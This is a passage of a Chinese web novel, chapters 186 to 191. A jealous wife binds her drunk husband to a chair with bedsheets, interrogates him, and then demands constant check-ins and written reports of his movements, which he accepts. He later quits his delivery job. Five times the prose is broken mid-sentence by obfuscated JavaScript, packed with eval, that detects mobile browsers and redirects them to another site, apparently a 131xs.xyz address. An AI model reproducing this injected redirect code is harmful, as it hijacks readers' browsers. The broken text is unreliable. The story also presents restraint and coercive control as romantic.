墙上的老式挂钟,时针已经指向了九点三十一分。 滴答,滴答。 每一声,都敲在萧青鸾的心上。 她坐在沙发上,身体挺得笔直,手里紧紧攥着那部备用机。 屏幕亮着,通话记录的最上方,是一个她刚刚拨出去的号码。 旁边没有显示通话时长。 她又按下了重拨键。 手机被她举到耳边,听筒里传出来的,不再是无人接听的忙音。 而是一段毫无感情的机械女声。 “您所拨打的电话已关机。” ……骗子。 都是骗子。 电视里,那个穿着暴露的女同事,已经把喝醉的男主角扶进了酒店房间。 画面戛然而置,开始播放广告。 萧青鸾的瞳孔里,倒映着五光十色的广告画面,却没有任何焦距。 她缓缓放下手机。 “呵呵……” 一声轻笑从她喉咙里溢出,在这寂静的房间里,显得格外诡异。 她站起身。 在狭小的客厅里,她开始踱步。 一步,两步。 她的动作很慢,很轻。 她的目光扫过桌上的饭菜。 已经凉透了。 扫过墙上的挂钟。 指针还在不紧不慢地走着。 扫过紧闭的卧室门。 最后,她的目光停住了。 落在了卧室那张一米五的小床上。 床上,铺着几条洗得有些发白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248019|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纯棉床单。 是顾云舟前几天在超市打折时买的。 他说,这东西便宜,吸水,结实,多备几条换着用。 结实…… 萧青鸾的嘴角,慢慢地,向上勾起一个弧度。 她赤着玉足,一步一步,走向那张床。 指尖轻轻拂过床单的边缘,感受着那粗糙而坚韧的纹理。 她低下头,将脸颊贴在床单上,深深吸了一口气。 上面,还残留着那个男人干净的、让她安心的味道。 可这味道,也即将被外面的花花世界所污染。 不行。 绝对不行。 先生是她的。 从头到脚,从里到外,连一根头发丝,都只能是她的。 “先生……” 她跪坐在床上,伸出双手,将那几条床单一条一条地抽了出来,抱在怀里。 她的声音很轻,很柔,让人听得毛骨悚然。 “没关系。” “你去哪了,没关系。” “和谁在一起,也没关系。” 她抬起头,看向窗外漆黑的夜空,眼神幽深得不见底。 “只要你回来……” 她低下头,看着怀里的床单,痴痴地笑了起来。 “……就再也,离不开了。” (晚上还有一张哈,等会要出去浪一下) 第一百八十六章 捆绑 酒气上涌,天旋地转。 顾云舟也不知道自己是怎么被同事从大排档里拖出来的。 他只记得最后被塞进一辆出租车,然后又被架了出来,扔在了居民楼下。 “顾哥,到了啊,自己能上去不?”一个同事的大舌头像是在他耳边打雷。 顾云舟挥了挥手,也不知道是想赶走他们还是想撑住墙。 “没……没事……” 他含糊地应着,感觉整个世界都在晃。 车门关上,引擎轰鸣着远去,周围瞬间安静下来。 只剩下夏夜的蝉鸣,和自己的喘息。 柳巷路十八号。 家到了。 他扶着冰凉的墙壁,一步一步往楼上挪。 三楼,不高。 可就是使不上劲。 他脑子里乱糟糟的。 有张伟那张喝得通红的脸,有同事们起哄的怪叫,还有手机屏幕上那最后闪烁一下的红色电量警告。 完了。 彻底完了。 九点的约定,早就过了。 视频电话,一个没打。 现在手机还关机了。 他几乎能想象出萧青鸾现在是什么表情。 想到那张冷下来的脸,顾云舟一个激灵,酒醒了三分。 他加快了脚步,踉踉跄跄地走到三楼。 熟悉的302室铁门就在眼前。 他喘着粗气,手伸进口袋里摸索钥匙,把钥匙掏了出来。 可就在他把钥匙对准锁孔的时候,动作停住了。 门,虚掩着。 一道细小的缝隙,正无声地对他敞开。 一股凉意从尾椎骨窜上来,瞬间驱散了大部分酒意。 遭贼了? 这是他脑子里冒出的第一个念头。 他心里咯噔一下,小心翼翼用指尖轻轻一推。 门轴发出一声呻吟,门开了。 屋里一片漆黑。 没有灯光,没有声音。 不对劲。 太不对劲了。 就算萧青鸾生气了,也不可能不开灯就这么黑着坐着。 “青鸾?” 他压低声音,试探性地喊了一句。 没有人回答。 只有他自己的声音在狭小的空间里回荡,显得空洞又诡异。 顾云舟的心提到了嗓子眼。 他不敢再出声,放轻脚步,悄悄地溜了进去,反手轻轻把门带上。 他借着从窗户透进来的微弱月光,勉强看清了客厅的轮廓。 桌子,椅子,沙发,都在原位。 不像是有外人闯入的样子。 那丫头人呢? 他摸索着墙壁,朝电灯开关的位置探去。 空气里,飘着熟悉的洗发水那淡淡清香。 是她的味道。 她在家。 顾云舟稍微松了口气。 也许是睡着了? 他的指尖,距离冰凉的塑料开关只有不到一厘米。 就在这时。 一双手,从他背后毫无征兆地伸了出来,冰凉,纤细,猛地环住了他的脖子。 与此同时,一块布料,带着同样的清香,狠狠地捂住了他的口鼻。 “唔!” 顾云舟的瞳孔骤然收缩。 肾上腺素在瞬间飙升到了顶点,残存的酒意被彻底冲刷干净。 他本能地开始剧烈挣扎,手肘向后猛击。 可身后的人早有预料,身体微微一侧,就躲开了他的攻击。 那双环着他脖子的手臂收得更紧,力气大得惊人。 捂着他口鼻的布料堵住了他所有的呼吸和呼喊。 他闻到了那熟悉的,带着阳光味道的洗衣粉气味。 是床单。 是萧青鸾! 这个认知让他脑子嗡的一声,一片空白。 为什么? 他想开口问,却只能发出含混不清的呜咽。 他拼命扭动身体,试图挣脱。 可身后的人动作精准而高效,另一只手已经抓住了他的一条胳膊,用力向后一拧。 紧接着,一条早已准备好的布条,娴熟地缠了上来。 一圈,两圈。 他的右臂被死死地反剪在了背后。 不等他反应,左臂也遭受了同样的待遇。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248020|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>双臂被彻底束缚,他整个人失去了平衡,向前踉跄一步。 身后的人没有给他任何喘息的机会,推着他的后心,将他一路推向客厅中央。 他的膝盖撞到了椅子的边缘,一个趔趄,跌坐在了椅子上。 整个过程,对方一言不发。 只有布料摩擦的窸窣声,和她平稳得有些可怕的呼吸声。 顾云舟坐在椅子上,动弹不得。 他剧烈地喘息着,眼睛死死地盯着眼前的黑暗,试图看清身后的人。 脚步声绕到了他的面前。 借着月光,一个穿着瘦小身影,轮廓清晰地映入他的眼帘。 是萧青鸾。 她手里还拿着另一条叠得整整齐齐的床单。 她就这么静静地站在他面前,居高临下地看着他。 月光勾勒出她绝美的侧脸。 她的脸上没有表情。 没有愤怒,没有委屈,没有质问。 顾云舟的心,一点一点地沉了下去。 他从那双眼睛里,看不到一丝一毫他所熟悉的情感。 冰冷又陌生。 萧青鸾动了。 她弯下腰,将那条床单展开,开始捆绑他的双腿。 她的动作依旧很轻,很稳,带着一种诡异的仪式感。 她将床单的一头绕过他的脚踝,穿过椅子的腿,再拉回来,打上一个结。 然后是膝盖,大腿。 顾云舟停止了挣扎。 他看着她,看着她专注而冰冷的神情,一股寒气从心底冒了出来。 疯了。 这丫头彻底疯了。 最后,她用剩下的布料,将他的上半身和椅背牢牢地捆在了一起。 她在他的胸前,打上了一个异常复杂的绳结。 收紧,拉平。 做完这一切,她退后一步,像是在欣赏自己的杰作。 她终于抬起头,正视着他的眼睛。 那双漂亮的眼眸幽深得不见底。 (四更奉上,谢谢大家的支持,虽然写得不好,但发出去的箭收不回来了,不好意思哈,抱歉抱歉) 第一百八十七章 不安 啪嗒。 一声轻响。 黑暗中,一簇昏黄的火苗跳跃起来,映亮了萧青鸾那张毫无表情的脸。 她点燃了桌上一支不知道从哪翻出来的红蜡烛。 烛光摇曳,将两人的影子在墙壁上拉扯得扭曲变形。 萧青鸾慢条斯理地搬过另一张椅子,放在他对面,然后端正地坐下。 坐姿笔挺,双手平放在膝上。 她抬眼,目光平静地落在他脸上。 “说吧,先生。” 她的声音很轻,但在这房间里却格外清晰。 “时已过,你去了何处,见了何人,为何不归?” 顾云舟脑袋嗡嗡作响,又气又急。 这都什么跟什么?审犯人呢? 他用力挣了挣,床单捆得死死的,勒得他发疼。 “我去参加站点的庆功宴!就是我跟你说过的团建!同事都在! 手机没电了,不是故意不接电话的!” 他几乎是吼出来的,试图用音量证明自己的清白。 可这些现代词汇,在萧青鸾听来却似乎是拙劣的谎言。 她嘴角勾起一抹笑意,笑里没有半分温度。 “庆功宴?”她重复了一遍,尾音微微上扬,“我看是鸿门宴。” “手机没电?”她轻轻摇头,“此等巧合,三岁小儿亦不信。” 顾云舟一口气堵在胸口。 跟她讲道理,简直是对牛弹琴! 萧青鸾的目光冷了下来。 “你与我有约在先,九时归家,却置若罔闻,此为失信。” “明知我会忧心,彻夜不归,此为不忠。” 她身体微微前倾,凑在顾云舟的耳边上。 “关机失联,断绝音讯,此乃……欺君之大罪!” 最后五个字,她说得极慢又清晰。 顾云舟彻底懵了。 失信?不忠?欺君之罪? 就因为老子参加个团建喝多了手机没电了? “萧青鸾你他m疯了吗!”他咆哮起来,脖子上的青筋都露了出来,“快放开我!这里是现代社会!你这是在限制我的人生自由,这是放法的你知道吗。” 他的怒吼在出租屋里回荡。 可对面的萧青鸾连眉毛都没动一下。 他的愤怒,他的道理,他的一切现代逻辑,在她那眼眸里,激不起半点涟漪。 反而,她眼神中的偏执更深了。 她缓缓起身,莲步轻移,走到他面前。 烛光下,她的身影笼罩下来,带着一股无形的压迫感。 她伸出冰凉的手指,轻轻抚过他的脸颊,从眉骨滑到下颌。 那触感让顾云舟浑身一僵。 她的声音幽幽响起,带着一丝好奇。 “先生,你可知,你之前骗我是什么下场吗....” 她的指尖停在他的喉结上,轻轻点了点。 骗她? 下场? 去他m的下场! “疯子!” 他喉咙里挤出两个字,用尽全身的力气向后猛地一挣。 嘎吱 木头椅子腿在水泥地上划出刺耳的声音,向后拖行了半米。 捆在身上的床单死死勒进肉里,传来一阵阵剧痛。 但这疼痛,远不及他心头的憋屈和怒气。 他双眼赤红,死死瞪着眼前这个女人。 “我tm受够了!” “你他m到底是谁?!” “你凭什么这么对我?!我上班累得跟狗一样是为了谁? 我陪客户喝酒喝到吐是为了谁?我他m差一点就被人搞到丢了工作又是为了谁?!” “到头来!我就像个犯人一样被你绑在这里审问?!” “就因为我手机没电了?!” 他真的累了。 从莫名其妙失忆醒来,到被这个女人缠上,再到为了那几千块的房租和赔款拼死拼活。 他像一头被蒙上眼睛的驴,被生活这根鞭子抽得转个不停。 他以为自己只要足够努力,只要埋头干活,就能把日子过下去。 可现在他发现自己错了。 他面对的根本不是生活问题。 而是她就是一个的疯子。 “你到底是谁啊!” 最后这一句质问,他几乎是吼出来的,声音嘶哑。 这一句话,像一把烧红的刀,捅进了萧青鸾的耳朵里。 她整个身体猛地一颤。 那双古井无波的眸子里,在这一瞬间轰然碎裂。 碎裂之后,是无尽的恐慌和茫然。 她伸出的那根手指僵在半空,然后不受控制地颤抖起来。 她踉跄着向后退了一步,又退了一步,。 烛火摇曳。 一滴泪水,毫无征兆地从她眼眶滑落,顺着脸颊,滴落在她穿着的T恤上,晕开一小块深色的痕迹。 紧接着,第二滴,第三滴。 她没有哭出声,只是站在那里,无声地流泪。 那种被整个世界抛弃的感觉,瞬间笼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248021|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罩了她小小的身体。 那张原本冷漠的脸,此刻写满了委屈与无助。 顾云舟的怒火,就这么硬生生卡在了喉咙里。 他准备好迎接她更疯狂的举动,甚至准备好迎接死亡。 但他唯独没准备好迎接她的眼泪。 眼前的景象让他大脑一片空白。 萧青鸾看着他,被自己亲手捆绑起来的人。 她张了张嘴,喉咙里发出一阵呜咽。 最终,她用带着哭腔,回答了那个的问题。 “我……我是你的妻子啊……” 这句执拗又天真的回答穿在顾云舟的心口。 不痛,但是闷。 让他所有翻江倒海的怒气,瞬间没了宣泄的出口。 她缓缓蹲下身子,就在那张破旧的椅子旁边,像个被弄丢了玩具的孩子,用双臂紧紧抱住自己的膝盖。 她把脸埋进臂弯里,压抑的哭声终于泄露出来。 “电视里……电视里都是这么演的……” 她的声音断断续续,语无伦次。 “男人喝醉了酒……就会被别的女人带走……” “电话打不通……就是不要我了……” “先生,我只是害怕……” 她猛地抬起头,那张挂满泪痕的脸上,满是孩童般的恐惧。 “我怕你像他们一样……也丢下我一个人……” “我不想一个人……” 昏黄的烛光将她的影子投在墙上,小小的,孤零零的一团。 顾云舟就这么被绑在椅子上,一动不动地看着。 看着她从审判者,变成一个蜷缩在地上哭泣的女孩。 听着她那些荒唐又可怜的哭诉。 他这才发现,她身上穿的,还是自己那件洗得发白的旧T恤,空空荡荡的,更显得她身形单薄。 他忽然想起,自己醉醺醺回来的时候,桌上还摆着两碗面。 一碗已经成坨的面。 原来她一直没吃,在等他。 原来只是这种简单到可笑的原因。 顾云舟张了张嘴,想骂她一句“sb”。 可看着她那副样子,这两个字怎么也骂不出口。 他用力吸了一口气,又缓缓吐出。 他靠在椅背上,仰起头,看着天花板上因为潮湿而晕开的水渍。 他忽然明白了。 捆住他的,从来都不是这几圈破床单。 而是这个女人心里的不安。 (今天请假一天哈) 第一百八十八章 约定 房间里, 顾云舟被绑在椅子上,看着蜷缩在地上,抱着膝盖,哭得浑身发抖的萧青鸾,不知道该说些什么。 她像一只被大雨淋透的小猫,可怜,无助,还有点烦人。 时间一分一秒过去。 蜡烛的眼泪淌下来,凝固在桌面上。 “过来。” 顾云舟终于开口,声音有点沙哑。 地上的那一小团动了一下,萧青鸾缓缓抬起头,一张脸哭得乱七八糟,眼睛又红又肿。 “帮我解开。” 萧青鸾迟疑地看着他,似乎在判断他会不会在解开的下一秒就摔门而去。 她磨蹭了好几秒,才手脚并用地从地上爬起来。 她走到顾云舟面前,低着头,不敢看他的眼睛。 之前捆绑时那股利落劲儿,消失得无影无踪。 死结一个套一个,是她刚才的杰作。现在,这些死结成了她自己都难以逾越的障碍。 她的指甲在床单布料上胡乱地抠着,发出细微的刮擦声。 温热的眼泪还在往下掉,一滴一滴,砸在顾云舟被捆住的手臂上。 有点烫。 顾云舟没有催促,也没有说话。 他就这么静静坐着,看着她笨拙地和自己系的结较劲,听着她细碎的呜咽声。 他能闻到她身上传来的一股淡淡的,洗发水的味道。 是他昨天在超市买的,最便宜的那种。 终于,最后一个结被她用指甲硬生生抠开。 层层叠叠的床单散落下来。 自由了。 顾云舟却没有动。 他只是缓缓抬起双手,举到眼前。手腕上,一圈一圈的红痕在昏暗的烛光下格外醒目。 萧青鸾的目光触及那片红色。 她向后退了一步,低着头,像个等待审判的犯人。 顾云舟慢慢地转动着自己发麻的手腕。 他呼出一口气。 在萧青鸾惊恐的注视下,他没有站起来。 他只是抬起眼,看着她。 然后,他伸出了手。 不是耳光,也不是推搡。 他一把抓住她的手腕,轻轻一拽。 萧青鸾惊呼一声,身体失去平衡,整个人跌跌撞撞地扑向他。 顾云舟顺势张开双臂,将她瘦小的身体结结实实地圈进怀里。 他依然坐在那张椅子上。 萧青鸾的脸颊撞在他的胸口,整个人都僵住了。 她能感觉到,他的心跳得很快,一下,一下,沉稳有力,透过T恤传了过来。 一秒。 两秒。 她紧绷的身体忽然一软,紧接着,压抑许久的哭声终于彻底爆发。 “呜……哇……” 她哭得像个三岁的孩子,毫无预兆。 顾云舟被她哭得脑袋嗡嗡响。 他抬起一只手,有些生疏地,一下一下拍着她的后背。 “我真是上辈子欠你的。” 他把下巴抵在她的发顶,声音里满是投降的意味。 怀里的人哭得上气不接下气,根本没听见他在说什么。 顾云舟只好等。 等她把积攒的所有不安和恐惧,都用眼泪和鼻涕,蹭在他的T恤上。 过了很久很久,哭声才渐渐小了下去,变成断断续续的抽噎。 “我答应你。” 顾云舟感觉她情绪稳定了一些,才再次开口。 萧青鸾在他怀里一动不动,只竖起了耳朵。 “以后,我去哪里,做什么,都提前跟你说。” 他的声音很轻。 “手机,二十四小时都开机,电量低于百分之二十就充电。” “晚上九点,就算天上下刀子,我也一定滚回家。” 他顿了顿,抱着她的手臂又收紧了一些。 “这样,行了吗?” 怀里的小脑袋,迟疑了一下,然后重重地点了点头。 一声闷闷的“嗯”从他胸口传来。 顾云...就快要松一口气。 可下一秒,那颗小脑袋又从他怀里抬了起来。 萧青鸾仰着脸看他,脸上还挂着泪。 但那双眸子里,却闪着执拗。 “不止这些。” 她的声音还带着浓浓的鼻音和哭腔,语气却已经恢复了几分霸道。 “先生的行踪,见了何人,说了何话,都要原原本本地告知于我。” 她吸了吸鼻子,一字一顿,无比认真地补充。 “不许有半句隐瞒!” 顾云舟看着她。 看着这张近在咫尺的脸。 他甚至能数清她哭得一颤一颤的长睫毛。 这要求,从线下发展到了线上,从人身监控升级到了思想汇报。 他沉默了。 沉默是今晚的康桥。 萧青鸾也紧张地看着他,不自觉地抓着他T恤的手指收紧。 她怕他拒绝。 怕他刚刚的温柔,只是缓兵之计。 就在她心里越来越慌的时候。 他抬起另一只手,用粗糙的指腹,轻轻抹掉她脸颊上的一道泪痕。 然后,他缓缓地点了点头。 “好。” 一个字。 尘埃落定。 得到这个答复,萧青鸾紧绷的神经彻底松懈下来。她身体一软,又把脸埋回他的胸口,像一只找到了港湾的小船。 顾云舟再次抱紧了她,把脸埋进她带着洗发水清香的发间。 养个祖宗,大概也就这样了吧。 桌上的那碗面早就坨了,汤汁都被吸干了。 他觉得自己饿得能吃下一头牛。 他低头,看着怀里还在小声抽噎的人。 “面还吃吗?” “……吃。” “那先起来,我去热热。” “……不要。” 她抱得更紧了。 “先生喂我。” 第一百八十九章 清晨的那档子事 顾云舟在沙发上睁开眼,僵硬的活动脖子。 房间里很安静,只有窗外传来的嘈杂。 地上一片狼藉。倒地的椅子,被当成绳子的床单。 他看向卧室,门紧闭着。 他按着额头,正准备靠回沙发上。 “咔哒。” 卧室门开了。 顾云舟身体僵了一下。 萧青鸾走了出来。 她不再是昨晚那个眼泪汪汪的女孩。 她换了一件小清新风格的长裙,长发用凤钗挽起。 她没看他,径直走到餐桌旁,拉开椅子坐下。 桌上摆着两碗白粥,一碟包子,还冒着热气。 顾云舟起身,把毯子叠好,扶起倒地的椅子,然后走进卫生间。 用冷水泼了把脸让他清醒了些许。 出来后,他坐在了她对面。 他拿起碗,开始喝粥。 谁也没说话,只有勺子碰到碗壁的清脆声音。 这场景诡异又温馨,谁能想到六个小时前,他还是她的阶下囚。 一碗粥两个包子下肚,胃里暖和了许多。他站起身。 “我上班去了。” 他走向墙角,那里挂着他的蓝色外卖服。 “先生。” 他停下脚步,回头看她。 她终于抬起眼,目光平直地射过来。 “你的‘奏折’呢?” 顾云舟愣住了。 奏折? 脑子宕机了两秒,昨晚那些许下的承诺才想起。 ……我去哪里,做什么,都提前跟你说。 ……见了何人,说了何话,都要原原本本地告知于我。 他无声地,长长地呼出一口气。 她是来真的啊。 她的眼神死死盯着他,不容任何辩驳。 他转身,走到窗边的小桌前,在一个塞满废纸和广告单的抽屉里翻找。一本用了一半的记事本,一支圆珠笔。 他拉开椅子坐下。 晨光穿过窗户,照亮了空气中飞舞的尘埃。 他盯着空白的纸页。 现代社会的奏折,到底该怎么写? 他回头瞥了一眼。萧青鸾正一动不动地看着他,神情莫测。 行。 你要奏折,我给你奏折。 他拔开笔帽,笔尖落下。 今日行程录(第一天) 具奏人:顾云舟 一、辰时正(上午九时整),离家,前往柳巷路站点,参与晨会。会议内容:听取站长张伟训话,领取今日配送任务。预计耗时三刻钟。 ...... 他写得手腕发酸,停下来想了想。 这够详细了吗? 他密密麻麻写满了一整页,连晚上回来路上要买瓶酱油都写了上去。 最后,他在末尾签上自己的名字。 他撕下那页纸,站起身,走到餐桌前,将纸递了过去。 喏。 萧青鸾接了过去。 她捏着那张纸, 就开始阅读。 很慢,逐字逐句。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253353|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知从哪里摸出了一支红笔。 她用笔尖在桌上轻轻点了两下。 接着,画了一道红线。 又画了第二道。 长达一分钟的审阅后,她抬起头。 朱唇轻启。 “准了。” 顾云舟感觉好尴尬。他只想立刻抓起衣服就溜。 他转身就走。 “等等。” 他僵在原地。 “午时、戌时,各需电话报备一次。” 她的声音平铺直叙。 “期间若有任何计划外之变动,或与名单外之人交谈超过十句,须立刻请示。” 她把那份“奏折”平整地放在她的碗边。 “若再有关机失联之状况……” 她没把话说完。 她只是看着他,那双黑色的眼眸里。充满了威胁。 “……明白。”顾云舟从牙缝里挤出两个字。 他飞快地换上外卖服,抓起头盔,把钱包钥匙塞进口袋。 临出门前,他绕到沙发边,拔下正在充电的充电宝,看了一眼指示灯。 四颗蓝色小灯,满格。 他把充电宝塞进口袋。 拉开门,外界明亮的光线涌了进来。 啊,是自由。 他最后回头看了一眼。 萧青鸾还坐在桌边。 顾云舟带上了门。 跨上电瓶车,拧动车把。 汇入早高峰的车流时,一个念头突然冒了出来。 中午打电话的时候,他该怎么说? 第一百九十章 离职 电瓶车在车流中穿行。 早高峰的车流里,顾云舟就是一个不起眼的蓝**。 手机被牢牢固定在车把的支架上,屏幕停留在聊天界面。 顾云舟:已送达xx小区三栋,下一单,五栋。 消息发出。 数秒后,一个鲜红的“阅”字弹了出来。 关掉界面,切回外卖软件,接单,然后拧动车把,冲入下一个路口。 红灯。 他停在斑马线后,看着倒计时。 三十秒。 他熟练地划开手机,点开那个置顶的聊天框。 顾云舟:五栋送达,下一单,前往金源大厦。 发送。 反反复复重复着。 绿灯亮起。 他冲了出去。 x源大厦是市中心的写字楼,魔鬼线路之一,等电梯的时间比送餐还久。 等他满头大汗地从楼里出来,手机震动了一下。 不是新订单。 是她。 萧青鸾:此单耗时过久,何故? 顾云舟捏着手机。 他飞快打字。 顾云舟:电梯人多。 一秒后。 萧青鸾:阅。 他把手机塞回支架,有种把手机连同支架一起捏碎的冲动。 南方的天说变就变。 风刮过,卷起地上的落叶和塑料袋。 顾云舟抬头看了一眼,加快了速度。 雨点砸下来的时候,他正在去往一个老小区的路上。 豆大的雨点,密集地敲打在他的头盔上,发出噼里啪啦的声响。 视线瞬间模糊。 雨衣根本没用,冰冷的雨水顺着领口灌进去,很快半个身子都湿了。 手机屏幕上全是水珠,触控开始失灵。 他把餐送到客户手里时,对方皱着眉看了他一眼,砰地关上了门。 他抹了一把脸上的雨水,低头看手机。 十一点五十五分。 快到午时报备的时间了。 他骑着车,在路边一个公交站台的屋檐下停住。 雨下得更大了,天地间挂着一道白茫茫的水帘。 他脱下头盔, 哆嗦着从口袋里掏出手机,屏幕上的水怎么也擦不干净。 他用力吹了几口气,总算能看清屏幕。 他拨出了那个号码。 “嘟……嘟……” 电话很快被接通。 “先生。” 她的声音很平静,听不出情绪。 “我……”顾云舟开口,声音有点抖,不知道是冻的还是气的,“午时报备。” 电话那头沉默了两秒。 雨声通过听筒传了过去,哗啦啦的,吵得人心烦。 “外面雨势颇大。”她的声音传来,“先生,注意安全。” 顾云舟愣了一下。 这算是……关心? “知道了。”他含糊地应了一声,就想挂断。 “下一单去何处?”她又问。 那一点点突如其来的暖意瞬间没了。 “城南,幸福里小区。”他报出地名,语气生硬。 “路途遥远,注意时辰。” “嗯。” 他挂断电话,把手机塞回口袋,戴上头盔。 雨更大了。 小区里,他迟到了十分钟。 一部分是因为雨天路滑,另一部分,是那个该死的掉**订单地址写错了单元号。他在大雨里找了整整五分钟。 他提着餐盒,跑到门口,用力敲门。 门猛地被拉开。 一个光着膀子的壮汉堵在门口,满脸横肉。 “搞咩啊!老子等了快一个小时了!”对方的吼得很大。 “抱歉,雨太大了,而且地址……” “别给老子找理由!晚了十分钟,菜都凉了!老子要投诉你!投诉到你滚蛋!” 顾云舟提着餐盒的手,缓缓收紧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16254022|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他松开手。 他低下头。 “对不起。” 他把餐盒递过去。 壮汉一把抢过,砰的一声,把门摔上。 顾云舟在门口站了一秒钟。 他转身,走进雨幕。 晚上七点,他精疲力尽地回到站点。 雨还在下,... 他刚脱下雨衣, 站里的张伟就看见了他,端着个泡面桶走了过来,拍了拍他的肩膀。 “小顾,脸色这么难看?” 顾云舟没说话。 “嗨,别想太多。”张伟吸溜了一口面,“咱们这行就这样,什么鸟都有。忍忍就过去了。” 忍忍就过去了。 顾云舟抬头,看着门外灰蒙蒙的雨。 想起在雨里失灵的手机屏幕。 想起萧青鸾那句“若再有关机失联之状况”。 他突然觉得很可笑。 他拼死拼活,冒着生命危险在雨里穿行,换来的是什么? 是客户的辱骂。 是随时可能被辞退的风险。 是家里那个人越来越严密的控制。 他以为自己接受了就能换来安宁。 可这份工作本身,就是最大的不安宁。 它给不了他想要的安稳。 更给不了萧青鸾需要的安全感。 他看着张伟还在冒着热气的泡面桶,又看了看自己冻得发白的手。 他掏出手机。 屏幕上,萧青鸾一个小时前发来的消息还停留在那里。 萧青鸾:戌时已至。 下面没有他的回复。 他飞快地打字。 顾云舟:在站点,今日工作结束,准备返家。 发送。 他看着消息发出去,然后,他做了一个决定。 他点开外卖软件,进入个人中心,找到了那个他从未想过会去点的按钮。 他盯着那几个字。 离职申请。 第一百九十一章 吧唧 他推开门。 一股饭菜的香气混着暖气扑面而来。 客厅的灯亮着,萧青鸾坐在那张小小的餐桌旁,面前摆着两菜一汤。番茄炒蛋,清炒白菜,还有一碗紫菜蛋花汤。 这些都是她跟着手机上那些视频学的,一学就会。 她穿着一件他前几天在超市顺手买的小清新长裙。头发用那支凤钗松松地挽着,露出一截白皙的脖颈。 听到开门声,她抬起头,目光落在他身上。 顾云舟换了鞋,把湿透的外卖服脱在门口,只穿着里面的短袖走进屋。 “去洗个热水澡,换身衣服。” 他没说话,默默走进了浴室。 热水从头顶浇下,带走了身上的寒意,却冲不散心里的疲惫和烦躁。他靠在墙上,闭着眼,脑子里乱糟糟的。 离职申请已经提交,审核需要二十四小时。 然后呢? 房东五千八百块的巨款,还有家里这位。 他洗完澡出来,萧青鸾已经盛好了饭,放在他的位置上。 两人面对面坐着,一言不发地吃饭。 空气里只有碗筷碰撞的轻微声响。 这种安静,比暴雨夜的捆绑审讯更让人窒息。 他知道,她在等。等他的解释。 等他为今天下午一个小时的失联,为刚刚才补上的给出一个说法。 “我辞职了。” 顾云舟放下筷子,平静地开口。 萧青鸾夹菜的动作停在半空。她缓缓放下筷子,抬眼看他。 “为何?”她的声音很轻。 她身体微微前倾:“可是又有人欺辱于你?告诉我,是谁?” 顾云舟摇摇头。 “还是……”她顿了顿,语气更冷了,“你觉得我束缚了你?” 来了。 顾云舟心里叹了口气。他就知道她会这么想。 “都不是。”他迎着她的目光,没有丝毫闪躲,“我辞职,是因为这份差事,本身就是个错误。” “错误?”萧青鸾的眉头蹙了起来。 “对,错误。”顾云舟拿起桌上的水杯,喝了一口水,润了润干涩的喉咙,“它让我们每天都处在分离和等待之中。 我在外面风吹雨淋,你在家里胡思乱想。 我无法预知下一秒会遇到什么刁难,你也无法确定我何时能回来。这种分离和不确定,才是我们之间所有不安的根源。” 他看着她,一字一句,说得清晰无比。 “你制定的规矩,定时报备,看上去解决了问题。但实际上呢? 它只是把这种不安,变成了一种程序。 我像个提线木偶一样执行,你像个狱卒一样监督。我们都没有得到真正的安宁。” 萧青鸾的眼神闪烁了一下,嘴唇紧紧抿着,没有反驳。 因为他说的,是事实。 “所以,我需要换一条路。一条能让我们每天都在一起共同进退的路。” 他凝视着她,目光灼灼:“青鸾,我们不是君臣,是夫妻。夫妻,理应共建属于我们自己的家。” 家? 